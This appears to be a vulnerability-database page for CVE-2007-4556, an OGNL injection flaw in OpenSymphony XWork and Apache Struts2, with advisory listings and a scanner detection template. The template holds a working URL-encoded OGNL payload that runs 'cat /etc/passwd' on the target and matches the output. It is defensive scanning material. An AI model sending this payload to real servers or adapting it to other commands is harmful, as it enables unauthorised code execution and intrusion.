| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2007-4556 | 28 Aug 200701:00 | – | cve | |
| CVE-2007-4556 | 28 Aug 200701:00 | – | cvelist | |
| EUVD-2022-4099 | 3 Oct 202520:07 | – | euvd | |
| OpenSymphony XWork vulnerable to improper input validation | 1 May 202218:24 | – | github | |
| CVE-2007-4556 | 28 Aug 200701:17 | – | nvd | |
| GHSA-H7MF-QRM9-2848 OpenSymphony XWork vulnerable to improper input validation | 1 May 202218:24 | – | osv | |
| Input validation | 28 Aug 200701:17 | – | prion | |
| Denial Of Service (DoS) | 12 Nov 201806:20 | – | veracode | |
| com.google.code.struts2webflow:struts2webflow-parent (=1.0.4), com.google.code.struts2webflow:struts2webflow-plugin (=1.0.4) +23 more potentially affected by CVE-2007-4556 via opensymphony:xwork (>=2.0.0 <=2.0.3) | 1 May 202218:24 | – | vulnersosv | |
| berkano:bean-displaytag (>=20050615.234814 <=20050616.015551), berkano:berkano-util (>=20050725.114415 <=dev-20050723) +28 more potentially affected by CVE-2007-4556 via opensymphony:xwork (>=1.0.3 <=1.2.2) | 1 May 202218:24 | – | vulnersosv |
id: CVE-2007-4556
info:
name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
author: pikpikcu
severity: medium
description: |
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
impact: |
Remote code execution
remediation: |
Update to the latest version of Apache Struts2
reference:
- https://www.guildhab.top/?p=2326
- https://nvd.nist.gov/vuln/detail/CVE-2007-4556
- https://cwiki.apache.org/confluence/display/WW/S2-001
- http://forums.opensymphony.com/ann.jspa?annID=54
- http://issues.apache.org/struts/browse/WW-2030
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2007-4556
cwe-id: NVD-CWE-Other
epss-score: 0.02109
epss-percentile: 0.84529
cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: opensymphony
product: xwork
tags: cve,cve2007,apache,rce,struts,opensymphony,vuln
http:
- method: POST
path:
- "{{BaseURL}}/login.action"
body: |
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100bed0a7282c19df09098ce4f8eefc881cd1dc7709a2bd79801b2263949996d8940220450b6bbe71c1724c0ac459d3b23d1954bacf2ed795c9b9e16728dcb3f4f950b3:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation